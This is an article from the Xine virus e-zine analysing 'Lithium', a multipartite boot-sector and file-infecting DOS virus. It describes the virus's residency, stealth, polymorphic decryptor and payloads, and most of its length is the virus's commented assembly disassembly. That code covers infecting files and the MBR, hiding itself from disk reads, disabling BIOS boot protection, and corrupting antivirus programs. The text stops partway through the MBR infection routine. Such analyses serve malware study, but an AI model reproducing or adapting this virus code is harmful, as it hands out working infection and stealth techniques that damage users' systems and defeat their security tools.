Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 309
/-----------------------------\
| Xine - issue #4 - Phile 309 |
\-----------------------------/
Virus Spotlite: Lithium
by b0z0/IKX
Virus name : Lithium
Virus author : ATP (?)
Virus origin : Italy, 1995/96 (?)
Virus lenght : 4113 bytes
Virus type : Multipartite BS/MBR/EXE/COM, semipolymorphic, stealth
Introduction:
-------------
This is a very interesting multipartite semipolimorphic stealth virus from
Italy that has been also found a few times in the wild (at least considering
some older messages in italian virus newsgroups and echo areas). Apart from
including many interesting features, like full stealth on files, formatting
an extra track on floppyes, semipolymorphism and windows compatibility, it
contains some unusual ways to complete some tasks that make the virus worth
examining.
Memory residency:
-----------------
When starting from files to see if the virus is already resident in memory
it will check a word at 0:4eeh (that by default should be zero) that the virus
will also use as a temporary storage for internal installation routines. If
the virus isn't already resident then it will simply try to infect the MBR of
the main disk. The virus will then get resident in memory just at next boot
from the infected MBR (or alternatively when booted from an infected floppy
disk).
The way the virus uses to get resident is quite strange. In a first moment
it will copy its interrupt 13h handler (at 0:228h) and the virus residency
routine (at 0:282h) to memory and then prepare something like a table with
calls to the residency routine after that. This first interrupt 13h handler
will stealth reads on MBR and will have to check if DOS seems to be loaded.
When DOS will seem to be loaded (a few usual checks are done) it will
point interrupt 21h to the last used element of the table it prepared before
that will, on the very first call to the interrupt 21h, jump to the residency
routine and then execute the requested call. This seems a bit strange, infact
it is. You should check the table I made in the disassembly and read the
comment to get a better idea of how this works.
The memory residency routine will try to allocate the needed space in memory
triing first to allocate high memory. If this will be succesfull then it will
read the 8 virus sectors (from hd or fd) up there and then jump again to the
beginning of the virus with an internal value in the register BP. When executed
with this internal value the virus will infact delete the CALL to the residency
routine stored before and will also delete the first interrupt 13h handler and
all the rest of the installation code it copied to memory on boot. The virus
will then hook interrupt 21h and will redirect the hook of the interrupt 13h to
the real interrupt 13h routine, this is the one that will have to infect
floppyes (while the one before was just checking for DOS loading).
The int 87h will be pointed to the original int 21h routine, while the original
int 13h will be redirected to int 86h.
File infection:
---------------
COM and EXE file will be infected by Lithium on every exec (4bh), open (3dh),
extended open (6ch), chmod (43h) and close (3eh). The virus will check for
suspect filenames, like antiviruses and such, for files that aren't too small
or too big, skip windows executables and such normal procedures. Also the
infection stage is quite normal. For some tasks Lithium uses also SFTs. The
infected file will be first aligned to a lenght that can be divided by 10h and
after that the virus (in poly form) and the original file bytes will be written
to the file.
File Stealth:
-------------
Lithium does stealth it filesize on findfirst/findnext calls using fcbs
(11h/12h) and using dta (4eh/4fh). To mark infected files it will add 200
years to the infected file date, that will be of course restored when the
virus is active. The date will be also corrected when a get/set file date
function will be issued (57h).
On file read functions (3fh) the virus will check if the user would like to
read the file header. If so the virus will restore the original header bytes
so the user couldn't notice the virus changes. It is interesting that the virus
will have to read the infected file decryption routine and get the encryption
method from it and in this way it will be able to decrypt and restore the
original header informations, handling the various possible reads (like reading
just a part or the entire header). It will also of course truncate every try
to read after the lenght of the original file, this is to read the virus body.
Finally also after a succesfull infection on open (3dh) or extended open (6ch)
the virus will stealth its lenght in SFTs.
This stealth procedures will be disabled when the virus will think that PKZip
or a Backup program are being run.
Floppy/MBR infection/stealth:
-----------------------------
Floppyes are infected on interrupt 13h functions read and write (02 and 03).
When infecting a floppy the virus will format an extra track in a quite usual
way and store it's encrypted body and original boot sector there. The virus
won't permit anyone to read or write that extra track using int 13h. It is
interesting that the virus keeps two bytes to keep the status of the current
floppyes (A: and B:). One byte is used to mark if the floppy is infected or
not, while the other is used to mark if the floppy has been already checked or
not. This way the virus won't need to check for infection/stealth each time
a function is issued, but it will just check if the floppy disk has changed
(using function 16h of int 13h) and if it hasn't then it will use the internal
variables to understand if it has to check/infect/stealth the floppy or not.
Of course each time a disk change is detected or a format track is executed the
internal variables will be reinitialized so the virus will have to analyze the
floppy in the diskette drive. This is of course an interesting feature, even if
a bit space-consuming, since makes access to floppyes much faster and prevent
that quite boring sound of floppy drive seeking here and there.
If writes to the floppy boot sector will be requested then the virus will
update the saved original boot sector on the floppy while on each read, when
needed, also the original data will be given instead of the infected boot.
The MBR infection is done in a quite normal way. First of all the virus will
check if the MBR is already infected (the virus name is placed as marker) and
check if there are some DOS partitions on the hard disk. If there isn't any
then very probably the virus won't have any possibility to get active, so it
won't even infect the MBR. After this checks the virus will disable some BIOS
virus protections, save the original MBR and infect the hd in a quite normal
way. When the user will try to access some sector on the disk where the virus
will store itself (from 0/0/4 for 8 sectors) it will just forget that operation,
while when a read to the MBR will be requested it will stealth giving the
original one.
Both the virus floppy boot and MBR are composed by a common piece of code that
initializes the stack and such (look at label generic_boot in disasm) and
another part depending if there is a floppy or MBR that will read the virus to
memory and jump there. So at boot this standard boot will be executed, then
the control will be given to the generated poly decryptor that will decrypt the
virus body and just then the real virus code will come in.
Polymorphism:
-------------
The virus is slightly polymorphic in files as well as when on floppy and in
MBR (after getting control from the standard virus boot). It uses an
oligomorphic routine to generate decryptors that are, by consequence, quite
simple but the design is rather interesting.
The routine infact has 7 parts of code for the decryptor and this will be
put randomly in the space for the decryptor (72h bytes at the beginning) and
"connected" with jumps from one to another. Each part will be put in one of
the 7 portions long 10h bytes, so they won't overwrite each other or something
like. This parts are quite simple, some have one or more way to be done, but
anyway the possible generations aren't too many and an algorithmic scanning is
quite straightforward (infact also the virus itself will have to somehow
'emulate' the decryptor to get the key and math operation it used, so it will
be able to restore the original bytes of the file). The parts the decryptor
will create, that will be executed in this exact sequence, are anyway:
- adjust segment, this is set ds=cs, plus a one byte garbage (this one byte
garbage is done to make the part 5 bytes long, including the jump)
- lenght setting, sets in ax the virus lenght
- pointer setting, sets in pointer register (di/si/bx) initial pointer value
- not decryption instruction, will generate a NOT on the decryption
instruction to hide it a bit
- decryption instruction, this is a xor/sub/add byte ptr [si/di/bx],imm8
- pointer increment, this is a INC of the pointer register (di/si/bx)
- counter decrement, simply DEC ax and a JNE to begin of the loop.
This parts as said will be connected by jumps and finally a jump to the
beginning of the code will be generated. To make the result a bit better also
some random bytes will be put on the 'background' of the generated decryptor.
The first 4 parts will be 5 bytes long (including the short jump to the next
part). This fact will infact be used by the virus itself to go through the
decryptor (by just getting the offsets of the short jumps) and find the
encryption method and encryption key.
When the virus will generate the decryptor and encrypt the body it will always
just use a 200h buffer and write from time to time the results (to disk sectors
or to file).
Payloads:
---------
Lithium has a few payloads depending on the system date and on the function
is being used. If the current day is later than may 1996 then the virus,
depending on a quite random value (the stack value), could activate itself.
It has tho 6 possible payloads (depending on the stack value):
- change colors (could activate only on open or delete file instructions)
- change gray color (only on select default drive)
- change palette register (only on remove directory)
- write a command to com1 and com2 (only on write to file)
- print virus name on printer (only on create temporary file)
- set volume and serial number of hd to virus one
- increment the system clock by one minute
The check for payload activation is done on each int 21h call. Also when a
payload (indifferently which one) is activated the virus won't allow the
games DOOM, Wolfstein 3D and Quake to be played by just setting a CD20h at the
file entry point when someone will try to run them. Nasty :) From june of 1996
also many antiviruses will be corrupted by a CD20h set on their begin so they
won't run anymore.
Other goodies:
--------------
The virus has its own int 24h error handler and it will add to the WIN
(possibly Windoze) command line parameters /D:FC so it won't scare the user
that something should be wrong with disk access.
It has an interesting message in it, here is a translation:
Swimming in the honey
Blinded by light
Oppressed by freedom
Sick of insincere and easy smiles
We fight to find something to believe in.
The notes of rage and instability
are the detonator of the wish to continue...
...'CAUSE WE ARE ALIVE!
.286
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Lithium ÛÛ
;ÛÛ disasm by b0z0/iKX ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
virus_lenght = (offset temp_memory - offset start + 0fh)
virus_enc_lenght = (offset temp_memory - offset real_start)
virus_paras = ((offset temp_memend - offset start + 10h) / 10h) + 1h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
lithium:
start:
oligo_space db 72h dup (90h) ; space for the oligo decryptor
real_start:
mov ax,es ; if ES=0 then virus
or ax,ax ; is executed from boot
jnz from_file
jmp from_bootmbr
jmp short from_file
nop
virus_name db "Lithium"
from_file:
cmp bp,1515h ; virus int. value?
jne normal_file_run
jmp run_from_mem ; if so we are being
; executed from mem
normal_file_run:
call delta_offset
delta_offset:
pop bx
sub bx,offset delta_offset
mov cl,4
shr bx,cl ; manual reloc in mem
mov ax,cs
add ax,bx
push ax
mov bx,offset reloc_there ; and jump there
push bx
retf
reloc_there:
push es
xor cx,cx
mov ds,cx
cmp word ptr ds:[4eeh],cx ; residency check
jne back_original
pushf
pop ax
and ax,0fffh
push ax
popf
pushf
pop ax
and ax,0f000h
cmp ax,0f000h
je back_original
mov al,0cfh ; iret opcode
les di,dword ptr ds:[01h * 4]
stosb ; put iret at int1h
les di,dword ptr ds:[03h * 4]
stosb ; put iret at int3h
push cs
pop ds
push cs
pop es
mov ah,13h ; set int13h handler to some
int 2fh ; place and get original in
; es:bx
push ds
mov ds,cx
mov word ptr ds:[(86h * 4)],bx ; int86h will became
mov word ptr ds:[(86h * 4) + 2],es ; original int13h
pop ds
mov ah,13h ; set int13h to the good one
int 2fh ; again
mov dl,80h
call check_nfect ; check if have to infect mbr
jc back_original
call infect_mbr ; infect that
info_lup:
jnc info_lup
back_original:
xor cx,cx ; zero all registers
mov ax,cx
mov bx,ax
mov di,bx
mov si,di
pop ds
cmp byte ptr cs:[com_or_exe],1
jne com_restoration
exe_restoration:
mov ax,ds
add ax,10h
add word ptr cs:[original_cs],ax ; host cs reloc
add ax,cs:[original_ss] ; ss reloc
mov ss,ax
mov sp,cs:[original_sp] ; original sp
xor ax,ax
jmp dword ptr cs:[original_ip] ; go to original EXE
com_restoration:
push cs
pop ds
inc sp
inc sp
cld
inc ah ; AX = 100h
mov si,offset original_file
mov di,ax
movsw ; restore original 3 bytes
movsb
xor di,di
xor si,si
push es
pop ds
push es
push ax ; push cs:100h
dec ah ; zero ax too
retf ; go to original com
com_or_exe db 00h
db "Nuotando nel miele",0
db "Accecati dalla luce",0
db "Oppressi dalla liberta'",0
db "Nauseati dai falsi e facili sorrisi",0
db "Lottiamo per trovare qualcosa in cui credere.",0
db "Le note della rabbia e dell'instabilita'",0
db "sono il detonatore della voglia di proseguire...",0
db "...'CAUSE WE'RE ALIVE!",0
db "You'llKnowWhatNITROMeans!",0
db "byATP"
decr_jmps_tbl:
dw 00h ; offset to segment adjustment
dw 00h ; offset to counter assignation
dw 00h ; offset to pointer assignation
dw 00h ; offset to decryptor modification
dw 00h ; offset to decryption instruction
dw 00h ; offset to pointer increment
dw 00h ; offset to counter decrement and check
dw 00h ; offset to the begin of virus body
decr_block_jmp:
;
; bx = offset from beginning of block jumping table
; si = running offset to substract
;
; this subroutine creates a jmp short from the current decryptor position
; (recognized from SI value) to the selected next decryptor block (value
; got from [decr_jmps_tbl + bx]
;
push ax
push bp
push di
mov bp,si
add si,2
mov di,word ptr [decr_jmps_tbl + bx] ; get from the tbl
mov ax,di ; where we must jump
sub ax,si ; calculate jump lenght
mov ah,al
mov al,0ebh ; jmp short opcode
mov word ptr ds:[bp],ax ; store jump to next block
mov si,di
pop di
pop bp
pop ax
retn
oligo_algo:
; entry DX = initial pointer value, this is where encrypted stuff begins
push bp
push bx
mov bp,dx
call seg_bx_tspace ; point after virus body
xor ax,ax
int 1ah ; get system time count
mov ax,5050h
xor ax,cx
xor ax,dx ; generate the random value
and cl,7 ; depending on date and
ror ax,cl ; time
push ax
mov ah,4
int 1ah ; get date
pop ax
xor ax,cx
xor ax,dx ; AX contains random value
; for the entire generation
mov dx,offset temp_memory
xor di,di
enc_chunk_loop:
or dx,dx ; bytes to be encrypted
jnz continue_enc
jmp finished_enc ; if zero it is finished
continue_enc:
mov cx,dx
cmp ch,1 ; if <= 1xxh then finish it
jbe last_chunk
mov cx,200h ; else do a 200h chunk
last_chunk:
sub dx,cx
mov si,bx
cld
push cx
push si
push di
xchg si,di
rep movsb ; copy next 200h chunk
pop di
pop si
pop cx
push cx
or di,di ; if zero then we are at the
jz must_make_dec ; first 200h chunk, so we must
; create the decryptor
jmp encr_instr ; else just keep encrypting
; 200h virus chunks
must_make_dec:
add si,72h ; where will start later enc
sub cx,72h ; decryptor won't be encrypted
push dx
push cx
push di
push si
push ax
push ds
mov di,bx
xor si,si
mov ds,si
mov cx,72h ; put some random bytes in the
rep movsb ; middle of the decryption
pop ds ; blocks
mov dl,6 ; must stay in the 00h-70h area
mov cl,7 ; 7 offset for blocks to create
mov di,offset decr_jmps_tbl
create_offsets:
lodsw ; random number
and ax,7
inc al ; offset between 02h
inc al ; and 09h
mov word ptr es:[di],ax
mov al,10h ; each block on a
mul dl ; different 10h block
dec dl ; so they won't disturb
xor ah,ah ; each other
add ax,offset temp_memory + 2 ; + base where code is
; generated
add word ptr es:[di],ax ; add to base before
add di,2 ; point on next offset
loop create_offsets
pop ax
push ax ; has the rnd value
mov cl,0fh ; moving loops through
; the offsets table
move_offsets:
ror ax,1
mov dx,ax
and dx,7 ; get one from table to xchange
cmp dl,6
jbe good_src_xchg
mov dl,4
good_src_xchg:
add bx,si
and bx,7 ; select the one to exchange
cmp bl,6 ; with
jbe good_dst_xchg
mov bl,5
good_dst_xchg:
mov si,offset decr_jmps_tbl
mov di,si
shl bx,1 ; both source and destination
shl dx,1 ; *2 since offsets are words
add si,bx
add di,dx
mov bx,word ptr es:[si] ; exchange the two blocks
xchg word ptr es:[di],bx ; offsets
mov word ptr es:[si],bx
loop move_offsets
pop ax
mov bx,offset temp_memory
mov si,bx
push bx
xor bx,bx
call decr_block_jmp ; first normal jump
mov word ptr [si+1],1f0eh ; push cs, pop ds opcodes
mov cl,0a7h ; cmpsw opcode
cmp al,0aah
ja use_stringsi
mov cl,37h ; aaa opcode
use_stringsi:
cmp ah,0aah
ja no_change1b
or cl,8 ; convert to scasw/aas
no_change1b:
mov byte ptr [si],cl ; put one byte garbage
inc bx
inc bx
add si,3
call decr_block_jmp
mov byte ptr [si],0b8h ; mov ax,
inc si
mov cx,(virus_enc_lenght)
; encrypted body virus lenght
mov word ptr [si],cx
inc si
inc si
inc bx
inc bx
call decr_block_jmp
mov dx,0430h ; xor byte ptr [si],al
mov cx,3480h ; xor byte ptr [si],imm8
; in CX will be carried the
; enc instruction while in DX
; the decryption one
cmp al,0aah
jae good_encr
xor dl,dl ; to add
mov ch,2ch ; so enc to sub
cmp al,55h
jae good_encr
mov dl,28h ; to sub
mov ch,4 ; so enc to add
good_encr:
cmp ah,55h
jbe good_pointer
or ch,1 ; or 1 means use DI as pointer
cmp ah,0aah
jae good_pointer
or ch,2 ; or 3 becames use BX as pntr
good_pointer:
push cx
mov word ptr ds:[encr_instr],dx
jmp short prefeccia
prefeccia:
and ch,3
mov dh,ch
shl ch,1
and ch,4
and dh,1
or ch,dh ; convert from pointer value
or ch,2 ; to value for immediate
xor ch,4 ; assignment (SI 1 -> 6,
pop di ; DI 2 -> 7, BX 3 -> 3)
push cx
or ch,0b8h ; mov reg_pointer,imm16
mov byte ptr [si],ch
inc si
mov word ptr [si],bp ; initial pointer value
inc bx
inc bx
inc si
inc si
call decr_block_jmp
mov cx,di
and ch,3 ; get pointer register
cmp ch,2
jne goo_pntt
inc ch
goo_pntt:
or ch,54h ; not opcode with reg used
mov cl,0f7h ; not prefix
mov word ptr [si],cx ; store the not
mov cx,word ptr [decr_jmps_tbl + 08h]
sub cx,word ptr [decr_jmps_tbl + 0eh]
mov byte ptr [si+2],cl ; store the offset from NOT
add si,3 ; instruction to the decryption
inc bx ; instruction for the change
inc bx
call decr_block_jmp
not di ; decryption instruction isn't clear but NOTed
mov word ptr [si],di ; store decryption instruction
mov byte ptr [si+2],al ; and value
add si,3
inc bx
inc bx
call decr_block_jmp
pop cx
or ch,40h ; increment pointer
mov byte ptr [si],ch
inc si
inc bx
inc bx
call decr_block_jmp
mov byte ptr [si],48h ; decrement counter AX
add si,3
mov cx,word ptr [decr_jmps_tbl + 08h]
sub cx,si ; calculate jump to next loop
mov ch,cl
mov cl,75h ; jne next loop
mov [si-2],cx ; store
inc bx
inc bx
call decr_block_jmp ; else last jump to virus entry
pop bx
pop si
pop di
pop cx
pop dx
encr_instr:
dw 0430h ; will be substituted by the enc
inc si ; instruction using [si] and al
; as key
loop encr_instr ; encrypt chunk
pop cx
add di,cx ; move on next chunk
push ax
push bx
push cx
push dx
call word ptr cs:[what_call] ; call the routine that will
pop dx ; write the chunk to file or
pop cx ; boot which address is in
pop bx ; [what_call]
pop ax
jmp enc_chunk_loop
finished_enc:
pop bx
pop bp
retn
write_to_disk:
; this routine writes the 200h chunk (or smaller if last) to disk. values of
; where to place the virus (h/s/c) are setup before in virus code. the chunk
; is already pointed by ES:BX
inc word ptr ds:[value_cx]
jmp short prefetchio
prefetchio:
mov ax,301h
db 0b9h ; mov cx,
value_cx dw 05h
db 0bah ; mov dx,
value_dx dw 80h
int 86h
retn
write_to_file:
; this routine writes the 200h chunk to a file. the virus body in input is at
; ES:BX. if the last chunk is written to file then also the bytes of align to
; a 10h boundary lenght are written
mov ah,40h ; write to file
mov dx,bx
db 0bbh ; mov bx,
file_handle dw 05h
int 87h
cmp cx,200h
je not_last_cnk
mov ah,40h ; write
mov cx,0fh
mov dx,0aaaah
db 80h,0e9h ; sub cl,
value_cl db 0ch ; align to 10h
int 87h
not_last_cnk:
retn
from_bootmbr:
; entry point when virus is activated from mbr or floppy bs. control is
; given here after the stable virus loader and the oligo decryptor
cld
push 00h
pop es
push 00h
pop ds
mov ax,201h ; read orignal mbr of fb
mov bx,7c00h ; to 0:7c00h
pop dx ; on the stack are
mov word ptr cs:[read_from_dx],dx ; present the params
pop cx ; of hd or fb where
mov word ptr cs:[read_from_cx],cx ; the virus resides
dec cx ; virus resides - 1 = original
int 13h ; mbr of fbs
mov word ptr ds:[4eeh],02eeh ; virus internal value
mov si,13h * 4
mov di,86h * 4
push si
movsw ; save original int13h at
movsw ; the int86h position
; map of virus in memory installation:
;
; 0:228h - 0:2D9h : virus int13h handler code
; 0:282h : virus loading in memory routine, this is the
; ; memory_residence routine
; 0:2F6h : CALL to 0:282h + first JMP FAR opcode
; 0:2FAh : original int21h segment:offset
; 0:2FEh ; CALL to 0:282h + first JMP FAR opcode
; 0:306h : CALL to 0:282h + first JMP FAR opcode
; 0:30eh : CALL to 0:282h + first JMP FAR opcode
; 0:316h : CALL to 0:282h + first JMP FAR opcode
; 0:4eeh ; word used by virus for residency check and internal
; ; purposes
; 0:4f0h - 4f8h : a JMP to 0:228, int 86h and retf2
; ; the int 86h will be changed to a int 88h
push cs
pop ds
mov si,offset handler_13h ; copy to 0:228h the
mov di,228h ; first int13h handler
mov cx,(offset handler_13h_end - offset handler_13h)
rep movsb
mov cl,05h ; put the calls as described
mov di,2f6h
mov bx,(282h - (2f6h + 03h)) ; call offset
put_calls_t:
mov al,0e8h ; call opcode
stosb
mov ax,bx
stosw
sub bx,8 ; call offset
mov al,0eah ; jmp far opcode
stosb
add di,4 ; on next one
loop put_calls_t
mov si,offset int_jumper
mov di,4f0h
mov cl,(offset int_jumper_end - offset int_jumper)
push di ; copy the other bounch of
rep movsb ; code
pop ax
pop di ; DI = to 13h in IVT
stosw ; store offset to the stored
xor ax,ax ; jump at 0:4f0h as new int13h
stosw ; store our segment
mov dl,80h
call check_nfect ; check to infect mbr
jc already_orbad
call infect_mbr
already_orbad:
db 0eah ; jmp far to original mbr
dw 7C00h, 0 ; or floppy boot
int_jumper:
db 0e8h
dw (228h-4f3h)
int 86h ; original int13h
retf 2 ; back to reality
int_jumper_end:
;------------------------------------------------------------------------------
handler_13h:
; this is the virus int13h handler that is installed as soon as the virus gets
; resident from mbr or fbs
call reading_mbr ; check if reading mbr
pusha
push ds
xor ax,ax
mov ds,ax ; on ivt
mov si,21h * 4 ; on int21h entry
or ax,word ptr ds:[si+2] ; int21h handler seg
je via_da_qui ; check if dos
cmp ax,800h ; seems loaded
jnb via_da_qui
cmp word ptr ds:[(27h * 4) + 2],ax
jne via_da_qui
cld ; so hook int21h
mov bx,word ptr ds:[si] ; bx int21h handler off
mov di,word ptr ds:[4eeh] ; di points on last
mov byte ptr ds:[di],0e9h ; used call + jmp block
mov word ptr ds:[di+1],ds ; jmp $+3
add di,08h ; di + 8 points on
; the next call+jmp
; (look mem map up)
mov word ptr ds:[4eeh],di ; store offset to the
; actually used one
mov word ptr ds:[di+4],bx ; segment and offset for
mov word ptr ds:[di+6],ax ; the jmp far
mov word ptr ds:[(87h * 4)],bx ; int87h is the
mov word ptr ds:[(87h * 4) + 2],ax ; original int21h
mov word ptr ds:[si],di ; int21h points now
mov word ptr ds:[si+2],ds ; to last virus handler
via_da_qui:
pop ds
popa
ret
reading_mbr:
cmp ah,2 ; read function
jne no_mbrstealth
cmp cx,1
jne no_mbrstealth
cmp dx,80h ; reading mbr
jne no_mbrstealth
inc cl ; stealth to original mbr
inc cl
no_mbrstealth:
retn
memory_residence:
pushf
pusha
push ds
push es
mov ax,5800h ; get memory alloc startegy
int 87h
push ax
mov ax,5802h ; get umb link state
int 87h
push ax
mov al,01h ; set memory alloc strategy
mov bx,80h ; to first fit, try high first
int 87h
mov al,03h ; set umb link state
mov bl,01h ; add umb to dos chain
int 87h
mov ah,48h ; allocate needed memory
mov bx,virus_paras
int 87h
jb came_here ; exit on error
push ax
dec ax
mov ds,ax ; on virus mem block mcb
mov word ptr ds:[01h],8h ; set as dos owned
mov ax,208h ; read eight virus sectors
xor bx,bx
pop es ; to allocated memory
db 0b9h ; mov cx,
read_from_cx dw 5102h ; where from hd or fd
db 0bah ; mov dx,
read_from_dx dw 0h ; where from dx
int 86h
mov bp,1515h ; internal virus value
push es ; jump again to beginning
push bx ; of the virus
retf
came_here:
mov ax,5803h ; set umb link state
pop bx
xor bh,bh ; restore the old one
int 87h
mov ax,5801h ; set mem alloc strategy
pop bx ; restore the old one
int 87h
pop es
pop ds ; exiting mem loading routines
popa
popf
ret
handler_13h_end:
;------------------------------------------------------------------------------
run_from_mem:
push cs
pop ds
push 00h
pop es
mov al,90h ; nop opcode
mov di,word ptr es:[04eeh] ; pointer on actual
mov word ptr ds:[jmp_far_off],di ; res+21h block
cld
stosb ; delete the call to the residency
stosb ; routine with NOPs
stosb
push es
pop ds
inc di ; DI now points on the original seg:off
push di ; of the int21h, stored before after the
mov si,di ; JMP FAR and make SI point the same
mov di,4f0h ; point DI where the Int13h handler
stosb ; resides and cover the CALL to 228h
stosb ; (this is the int21h checker) with
stosb ; nops
push cs
pop es
mov di,offset old_int21h
movsw ; SI points on adress of original int21h
movsw ; and put that in dword old_int21h
pop di ; pop pointer to int21h seg:off
push ds
pop es
mov ax,offset int21h_handler
stosw ; now put the virus handler instead
mov ax,cs ; of it, this is hook int 21h
stosw
xor ax,ax
mov di,228h ; delete the first int13h
mov cx,0b1h ; handler with mem res stuff
rep stosb ; from memory
mov byte ptr cs:[payload_byte],al
mov word ptr cs:[value_ax1],ax ; virus values
mov word ptr cs:[value_ax2],ax ; initialization
mov word ptr ds:[88h * 04h],offset entry_88h ; hook int88h
mov word ptr ds:[(88h * 04h) + 02h],cs
mov byte ptr ds:[04f4h],088h ; change int86h to int88h
; in the virus int13h handler. this means,
; install the int13h handler that infects
; boots instead of the one waiting to hook
; int21h
mov ah,04h ; get real time clock in bcd
int 1ah
cmp cx,1996h ; check if year < 1996
jb no_act
ja loccaz
cmp dh,05h ; check month
jb no_act
loccaz:
xor dx,sp
and dx,0707h
cmp dh,dl ; way random to see if is
jne no_act ; gonna activate or not
inc dl ; if so select one way to
mov byte ptr cs:[payload_byte],dl ; activate
no_act:
mov ax,5803h ; set umb link state
pop bx
xor bh,bh ; restore the old state
int 87h
mov ax,5801h ; set mem alloc strategy
pop bx ; to old one
int 87h
pop es
pop ds
popa
popf
inc sp
inc sp
db 0eah ; jmp far
jmp_far_off dw 02f6h ; this contains actual
dw 0000h ; call_res+21h block
forget_call:
xor ah,ah ; just do a disk reset
jmp short rstatus_and_back
nop
virus_disk_handler:
cmp ah,1 ; see if calling a function
jbe pass_to_old ; we need to stealth such as
cmp ah,7 ; read, write, format
ja pass_to_old
cmp dx,80h ; check if on primary hd
jne pass_to_old
push cx
db 83h,0e1h,0c0h ; and cx,0ffc0h
pop cx
jnz pass_to_old ; doing something on virus zone?
cmp cl,1 ; if not mbr it could delete
jne forget_call ; the virus, so forget it
cmp ah,2 ; if reading stealth, else
jne forget_call ; forget it
push cx
push ax
and al,1
inc cl ; read the original mbr
inc cl
int 86h
pop cx
mov al,cl
pop cx
jmp short rstatus_and_back
nop
entry_88h:
mov byte ptr cs:[check_by],dl ; DL contains drive
cmp dl,1
jb floppy_a ; 0 then floppy A:
jz floppy_b ; 1 then floppy B:
jmp short virus_disk_handler ; else a hard disk
pass_to_old:
int 86h
rstatus_and_back:
pushf
push ax
cmp byte ptr cs:[check_by],1 ; contains disk drive
jb floppy_a_ret
jz floppy_b_ret
return_13h:
pop ax
popf
retf 2
; status words
; value_ax2 is for floppy B:, value_ax1 is for floppy A:, while value_ax0 is
; common temporary for both.
; the value of this status word is:
; high byte: 00 - floppy is not infected
; 01 - floppy is infected
; low byte: 00 - floppy has not been checked yet
; 01 - floppy has been checked
; this way the virus won't be checking each time all the things and, when
; needed, will stealth faster. of course this status words are reset each
; time a disk change is deteced.
;
floppy_b_ret:
db 0b8h ; mov ax,
value_ax0 dw 101h ; update floppy_b status
mov word ptr cs:[value_ax2],ax ; with the temp one
jmp short return_13h
floppy_a_ret:
mov ax,word ptr cs:[value_ax0] ; update floppy_a status
mov word ptr cs:[value_ax1],ax ; word with the temp one
jmp short return_13h
floppy_a:
push ax
db 0b8h ; mov ax, floppy_a status word
value_ax1 dw 00h
jmp short check_routine
nop
reset_status:
mov byte ptr cs:[value_ax0],0 ; reset status
jmp short pass_to_old ; and go back
floppy_b:
push ax
db 0b8h ; mov ax, floppy_b status word
value_ax2 dw 00h
check_routine:
mov word ptr cs:[value_ax0],ax
mov ah,16h ; detect disk change
int 86h ; int13h
pop ax
jc reset_status ; if disk changed, then reset
; the status and continue
cmp ah,2 ; interesting function?
jb pass_to_old ; (2 read, 3 write)
cmp ah,4
jae check_higher_fu
cmp ch,51h ; triing to read virus body
je stop_extra ; on extra tracks?
or dh,dh ; see if pointing to floppy
jnz exit_fchecks ; boot sector
cmp cx,1
jne exit_fchecks
cmp byte ptr cs:[value_ax0],1
je f_already_checked
cmp ah,3 ; writing to floppy boot? leave
je exit_fchecks ; them write then...
pusha
push es
push ds
call check_nfect ; check if infected
jb ess_bel
call infect_floppy ; if not infect
jnb ess_bel
mov byte ptr ds:[value_ax0 + 1],0 ; mark as not infected
jmp short ess_bel2
nop
ess_bel:
mov byte ptr ds:[value_ax0 + 1],1 ; this marks that an
; infected floppy is in
ess_bel2:
mov byte ptr ds:[value_ax0],1 ; mark floppy as checked
pop ds
pop es
popa
f_already_checked:
cmp byte ptr cs:[value_ax0 + 1],1 ; is/was floppy infected
jne exit_fchecks ; if not, don't stealth
cmp ah,2
je read_fbs_stealth
push cx
mov cx,5101h ; if was writing then update
and al,1 ; the changes to saved boot
int 86h ; sector
jmp short work_exit
nop
read_fbs_stealth:
int 86h ; execute requested read
push cx
push ax
pushf
mov ax,201h ; but then read also the
mov cx,5101h ; saved original boot sector
int 86h
popf
pop ax
work_exit:
pop cx
jmp rstatus_and_back
check_higher_fu:
cmp ah,5 ; triing to format?
jne exit_fchecks
mov byte ptr cs:[value_ax0],0 ; if formatting reset
exit_fchecks: ; status at all
jmp pass_to_old
stop_extra:
xor ah,ah
jmp rstatus_and_back
check_nfect:
call seg_bx_tspace
mov cx,2
do_read_mbr:
push cx
mov ax,201h ; read MBR
mov cl,al
mov dh,0
int 86h ; orig int13h
pop cx
loop do_read_mbr ; twice so we are sure it's
jc bad_exit ; there. exit on error
cmp dl,80h ; on hd? if not no pt check
jb check_name
mov si,(offset temp_memory + 1beh - 10h)
mov cx,4 ; on partition table
pt_search:
add si,10h ; on next partition entry
cmp byte ptr [si],80h ; is bootable?
jne next_ptentry
mov al,byte ptr [si+4] ; os code
dec al ; ok if dos w/12bit fat
jz check_name
cmp al,3 ; ok for dos < 32mb
jb bad_exit ; extended dos
cmp al,5 ; and dos > 32mb
jg bad_exit
jmp short check_name
nop
next_ptentry:
loop pt_search
bad_exit:
stc ; carry means error
retn
check_name:
mov si,offset virus_name
mov di,(offset temp_memory + 100h) ; where the name
mov cx,5 ; should stay in boot
cld
repe cmpsb ; see if already infected
jz bad_exit ; zero flag -> it is
clc
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
infect_mbr:
mov al,0adh
out 70h,al
in al,71h
push ax
and al,0bfh
out 71h,al
mov al,34h ; ami shadowing and boot pwd
out 70h,al
in al,71h
push ax
and al,7fh ; disable it
out 71h,al
mov ah,5 ; store keystroke in kbd buffer
mov cx,1579h ; 'y'
int 16h
call seg_bx_tspace
mov ax,301h
mov cx,3 ; save old MBR to 0,0,3
mov dx,80h
int 86h
jc exit_mbrinfect
mov di,offset temp_memory
mov cx,100h ; some random bytes on the
rep stosw ; background
mov word ptr es:[bx + 1feh],0aa55h ; valid boot marker
mov di,bx
